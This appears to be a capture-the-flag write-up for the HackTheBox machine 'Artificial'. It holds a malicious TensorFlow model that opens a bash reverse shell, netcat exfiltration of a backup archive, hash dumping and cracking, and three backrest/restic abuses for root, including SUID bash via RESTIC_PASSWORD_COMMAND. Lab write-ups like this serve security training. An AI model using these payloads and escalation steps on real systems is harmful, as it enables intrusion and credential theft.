Post

HackTheBox Artificial

Writeup for HackTheBox Artificial

HackTheBox Artificial

Machine Synopsis

Key Exploitation Techniques

  • TensorFlow Remote Code Execution (RCE) via malicious model loading (Python Lambda layers)
  • SQLite database credential discovery and cracking
  • backrest service abuse for root privilege escalation via backup restoration, RESTIC_PASSWORD_COMMAND, or restic dump command

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜ Artificial nmap -p- --min-rate 10000 10.10.11.74
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

➜ Artificial nmap -p 22,80 -sC -sV 10.10.11.74
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

An Nmap scan identified SSH (22/tcp) and HTTP (80/tcp) services.

The HTTP title “Did not follow redirect to http://artificial.htb/” indicated that artificial.htb was the intended hostname. This was added to /etc/hosts.

website

Update /etc/hosts:

1
echo -e '10.10.11.74\tartificial.htb' | sudo tee -a /etc/hosts

The website appeared to be a platform for AI solutions.

Exploitation

Initial Access (app)

login_dashboard

Anonymous user registration was allowed on the web application. After registering and logging in, a file upload page was accessible. This page provided requirement.txt and Dockerfile files, hinting at the backend environment.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜ Artificial cat requirements.txt 
tensorflow-cpu==2.13.1

➜ Artificial cat Dockerfile 
FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \
    apt-get install -y curl && \
    curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    rm -rf /var/lib/apt/lists/*

RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

ENTRYPOINT ["/bin/bash"]

The Dockerfile revealed the use of tensorflow-cpu-2.13.1. This version of TensorFlow has a known Remote Code Execution (RCE) vulnerability related to arbitrary code execution during model loading, specifically through Python Lambda layers.

To exploit this, a malicious TensorFlow model was crafted. It used a tf.keras.layers.Lambda layer to embed an os.system call, executing a reverse shell command when the model is loaded. The Dockerfile provided the exact environment, making it crucial to build a local Docker image for consistent exploit development.

The malicious model (exploit.h5) was created using a Python script, embedding a Netcat reverse shell payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
➜ Artificial cat exploit.py                   
# exploit_model.py
import tensorflow as tf

def exploit(x):
	import os
    os.system("bash -c \"sh -i >& /dev/tcp/10.10.16.17/1234 0>&1\"")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5") # This is the malicious model file

➜ Artificial sudo docker build --no-cache -t my-tf-image .               
➜ Artificial sudo docker run --rm -it -v $(pwd):/code my-tf-image                       
root@0b97045fa64f:/code# python3 exploit.py
root@0b97045fa64f:/code# ls
Dockerfile  exploit.h5	exploit.py  myenv  requirements.txt

After generating exploit.h5, a Netcat listener was started on the attacker machine. The exploit.h5 file was then uploaded to the web application’s upload page. Clicking “View Predictions” on the web interface triggered the model loading, resulting in a reverse shell.

1
2
# Attacker machine: Netcat listener
➜ nc -nlvp 1234
1
2
3
4
5
6
➜ Artificial nc -nlvp 1234  
listening on [any] 1234 ...
connect to [10.10.16.17] from (UNKNOWN) [10.10.11.74] 40102
sh: 0: can't access tty; job control turned off
$ whoami
app

A shell was obtained as app.

Privilege Escalation

User Privilege Escalation (gael)

Spawned an interactive shell using python3.

1
2
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
app@artificial:~/app$ 

Further enumeration on the compromised system revealed a users.db SQLite database file in /app/instance. This database contained user credentials.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
app@artificial:~/app$ ls instance
users.db
app@artificial:~/app$ file instance/users.db
instance/users.db: SQLite 3.x database, last written using SQLite version 3031001
app@artificial:~/app$ sqlite3 instance/users.db
sqlite> .tables
model  user 
sqlite> select * from user; 
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|shiro|shiro@artificial.htb|f93fc10472a31bb3061aa0b45e228c5a

The hash for user gael (c99175974b6e192936d97224638a34f8) was extracted and saved to hash.txt. hashcat was used with rockyou.txt to crack it.

1
2
3
4
5
6
7
8
cat hash.txt
c99175974b6e192936d97224638a34f8
➜ Artificial hashcat --identify hash.txt
...
0 | MD5                                                        | Raw Hash

➜ Artificial hashcat -a 0 -m 0 hash.txt --wordlist /usr/share/wordlists/rockyou.txt
c99175974b6e192936d97224638a34f8:mattp005numbertwo

The password for gael was mattp005numbertwo. This allowed SSH login as gael.

1
2
3
4
❯ ssh gael@artificial.htb
gael@artificial.htb's password: mattp005numbertwo
gael@artificial:~$ cat user.txt 
5baabf49fa268aa5d2e867bd02ace73b

Root Privilege Escalation

Method 1: Backrest Backup Restoration

Enumeration within /var/backups revealed a large backup file named backrest_backup.tar.gz and confirmed gael’s membership in the sysadm group, which had read permissions on the file.

1
2
3
4
gael@artificial:~$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)
app@artificial:~/app$ ls -la /var/backups
-rw-r-----  1 root sysadm 52357120 Mar  4 22:19 backrest_backup.tar.gz

The backrest_backup.tar.gz file was transferred to the attacker machine.

1
2
3
4
5
6
7
# On attacker machine, set up a netcat listener to receive the base64-encoded file. Then, immediately decode it.
➜ Artificial nc -nlvp 9001 > backrest_backup.tar.gz.b64 && base64 -d backrest_backup.tar.gz.b64 > backrest_backup.tar.gz
listening on [any] 9001 ...

# On target machine, send the file in base64 format
gael@artificial:~$ cd /var/backups/
gael@artificial:/var/backups$ base64 backrest_backup.tar.gz | nc 10.10.16.17 9001 -q 0

The backup archive was extracted.

1
➜ Artificial tar -xf backrest_backup.tar.gz 

Inside the backup, the path backrest/.config/backrest/config.json was found, containing a password hash for user backrest_root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜ Artificial cat backrest/.config/backrest/config.json 
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}

The passwordBcrypt field contained a Base64-encoded bcrypt hash. It was first decoded and then cracked using hashcat.

1
2
3
4
5
6
➜ Artificial echo JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP | base64 -d > root_hash.txt
➜ Artificial hashcat --identify root_hash.txt
...
3200 | bcrypt $2*$, Blowfish (Unix)                               | Operating System
➜ Artificial hashcat -a 0 -m 3200 root_hash.txt --wordlist /usr/share/wordlists/rockyou.txt
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^

The password for backrest_root was !@#$%^.

Further enumeration on the target showed a service listening on localhost port 9898, identified as backrest.

1
2
3
4
5
6
7
8
9
10
11
gael@artificial:/var/backups$ ss -tuln
Netid State  Recv-Q  Send-Q   Local Address:Port   Peer Address:Port Process 
udp   UNCONN 0       0        127.0.0.53%lo:53          0.0.0.0:*            
tcp   LISTEN 0       511            0.0.0.0:80          0.0.0.0:*            
tcp   LISTEN 0       4096     127.0.0.53%lo:53          0.0.0.0:*            
tcp   LISTEN 0       128            0.0.0.0:22          0.0.0.0:*            
tcp   LISTEN 0       2048         127.0.0.1:5000        0.0.0.0:*            
tcp   LISTEN 0       4096         127.0.0.1:9898        0.0.0.0:*            
tcp   LISTEN 0       511               [::]:80             [::]:*            
tcp   LISTEN 0       128               [::]:22             [::]:* 
...

The internal port 9898 was forwarded to the attacker machine via SSH for access.

1
2
# Attacker machine: SSH local port forward
➜ ssh gael@10.10.11.74 -L 9898:127.0.0.1:9898

The backrest service running on port 9898 was a rest-server instance, providing a web interface for managing backups. Its help output indicated it uses restic as the underlying binary.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gael@artificial:/var/backups$ backrest -h
Usage of backrest:
  -bind-address string
    	address to bind to, defaults to 127.0.0.1:9898. Use :9898 to listen on all interfaces. Overrides BACKREST_PORT environment variable.
  -config-file string
    	path to config file, defaults to XDG_CONFIG_HOME/backrest/config.json. Overrides BACKREST_CONFIG environment variable.
  -data-dir string
    	path to data directory, defaults to XDG_DATA_HOME/.local/backrest. Overrides BACKREST_DATA environment variable.
  -install-deps-only
    	install dependencies and exit
  -restic-cmd string
    	path to restic binary, defaults to a backrest managed version of restic. Overrides BACKREST_RESTIC_COMMAND environment variable.
gael@artificial:/var/backups$ which backrest
/usr/local/bin/backrest

The backrest service typically uses restic for backups. The restic binary has a root command execution technique listed on GTFOBins.

A rest-server (downloaded from GitHub) was set up on the attacker machine to serve as a remote repository.

1
2
3
4
5
6
7
8
9
# Attacker machine: Start rest-server
➜ Artificial chmod +x rest-server 
➜ Artificial ✗ ./rest-server --path /tmp/restic-data --listen :12345 --no-auth       
Data directory: /tmp/restic-data
Authentication disabled
Append only mode disabled
Private repositories disabled
Group accessible repos disabled
start server on [::]:12345

The backrest_root credentials (backrest_root:!@#$%^) were used to log into the internal backrest web dashboard.

internal_login_webpage

internal_dashboard

A new restic repository was configured, and commands were run via the “Run Command” button on the dashboard. This action, when performed by the root user on the target (as the backrest service likely runs as root), implies restic has root privileges.

Specifically, the /root directory was backed up to the attacker-controlled rest-server.

1
2
3
4
5
6
# on the created restic repository --> click on run command button
# init repo
-r rest:http://10.10.16.17:12345/test init

# backup /root to our server
 -r rest:http://10.10.16.17:12345/test backup /root

run_commands

1
2
# rest-server log
Creating repository directories in /tmp/restic-data/test

After the backup completed, the snapshot was viewed locally on the attacker machine.

1
2
3
4
5
6
7
8
9
➜ Artificial restic -r /tmp/restic-data/test snapshots
enter password for repository: password
repository e75b457c opened (version 2, compression level auto)
created new cache in /home/shiro/.cache/restic
ID        Time                 Host        Tags        Paths  Size
-----------------------------------------------------------------------
e514b74a  2025-07-14 17:41:15  artificial              /root  4.299 MiB
-----------------------------------------------------------------------
1 snapshots

The snapshot was then restored to a local directory (./restore) on the attacker machine.

1
2
3
4
5
6
7
# Attacker machine: Restore snapshot
➜ Artificial restic -r /tmp/restic-data/test restore e514b74a --target ./restore
enter password for repository: password
repository e75b457c opened (version 2, compression level auto)
[0:00] 100.00%  1 / 1 index files loaded
restoring snapshot e514b74a of [/root] at 2025-07-14 09:41:15.202609069 +0000 UTC by root@artificial to ./restore
Summary: Restored 80 files/dirs (4.299 MiB) in 0:00

Navigating to the restored /root directory revealed root.txt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Attacker machine: Access restored root folder
➜ Artificial ls -al ./restore/root 
total 36
drwx------ 6 shiro shiro 4096 Jul 14 13:18 .
drwx------ 3 shiro shiro 4096 Jul 14 23:51 ..
lrwxrwxrwx 1 shiro shiro    9 Jun  9 17:37 .bash_history -> /dev/null
-rw-r--r-- 1 shiro shiro 3106 Dec  5  2019 .bashrc
drwxr-xr-x 3 shiro shiro 4096 Mar  4 05:52 .cache
drwxr-xr-x 3 shiro shiro 4096 Oct 19  2024 .local
-rw-r--r-- 1 shiro shiro  161 Dec  5  2019 .profile
lrwxrwxrwx 1 shiro shiro    9 Oct 19  2024 .python_history -> /dev/null
drwx------ 2 shiro shiro 4096 Mar  5 06:40 .ssh
-rw-r----- 1 shiro shiro   33 Jul 14 13:18 root.txt
drwxr-xr-x 2 shiro shiro 4096 Jun  9 21:57 scripts

The root.txt flag was retrieved. Alternatively, the SSH private key for root (e.g., id_rsa in restore/root/.ssh) could be used to log in directly as root.

1
2
3
4
# Attacker machine: SSH as root using restored key
➜ ssh -i ./restore/root/.ssh/id_rsa root@artificial.htb
root@artificial:~# cat root.txt 
368710f40c4b87797b5245875abbdb05

Method 2: Backrest SUID bash through RESTIC_PASSWORD_COMMAND

This method leverages the backrest service’s ability to execute commands via environment variables, specifically RESTIC_PASSWORD_COMMAND. This command is executed with elevated privileges by restic when a password is required for a repository, allowing root access.

On the backrest dashboard, a new repository was created with RESTIC_PASSWORD_COMMAND set to a command that would grant bash SUID privileges. This action typically involves setting environment variables when defining a repository in the backrest interface.

The environment variable RESTIC_PASSWORD_COMMAND=/bin/chmod +s /bin/bash was used. This command makes /bin/bash a SUID executable, allowing any user to execute bash with root privileges. The flags --insecure-no-password -restic-cmd are typically set to disable password prompts for restic and allow direct command execution via restic-cmd.

After a restic command that would trigger a password prompt (e.g., restic init) was executed on the dashboard, the chmod command was run as root.

run_commands_env_var

1
2
3
# On target machine, after successful SUID permission set
gael@artificial:/var/backups$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash

With /bin/bash now SUID, the gael user could directly execute bash -p to get a root shell.

1
2
3
gael@artificial:~$ bash -p
bash-5.0# whoami
root

Method 3: Arbitrary Read via Backrest dump Command

This method directly utilizes the backrest dashboard’s “Run Command” feature to read arbitrary files from the target system, provided restic (underlying binary for backrest) has read permissions to the file. This bypasses the need for an external rest-server.

Log into the internal backrest web dashboard (http://127.0.0.1:9898 via SSH tunnel) using backrest_root:!@#$%^.

First, create a new local restic repository on the target’s filesystem via the web interface’s “Run Command” feature. Use this feature to execute a backup of the desired sensitive file (e.g., /root/.ssh/id_rsa). This stores the file as a local restic snapshot within the newly created repository.

1
2
3
4
5
6
backup /root/.ssh/id_rsa
# Ouput example
ID        Time                 Host        Tags        Paths  Size
-----------------------------------------------------------------------
<snapshot_id>  2025-07-14 17:45:00  artificial              /root/.ssh/id_rsa  0.003 MiB
-----------------------------------------------------------------------

run_commands_backup

Next, use the dump command with the snapshot ID to read the content of the file directly, which will be displayed in the dashboard’s output.

1
2
# Dump the content of the file from the snapshot
dump <snapshot_id> /root/.ssh/id_rsa

run_commands_dump_ssh

This post is licensed under CC BY 4.0 by the author.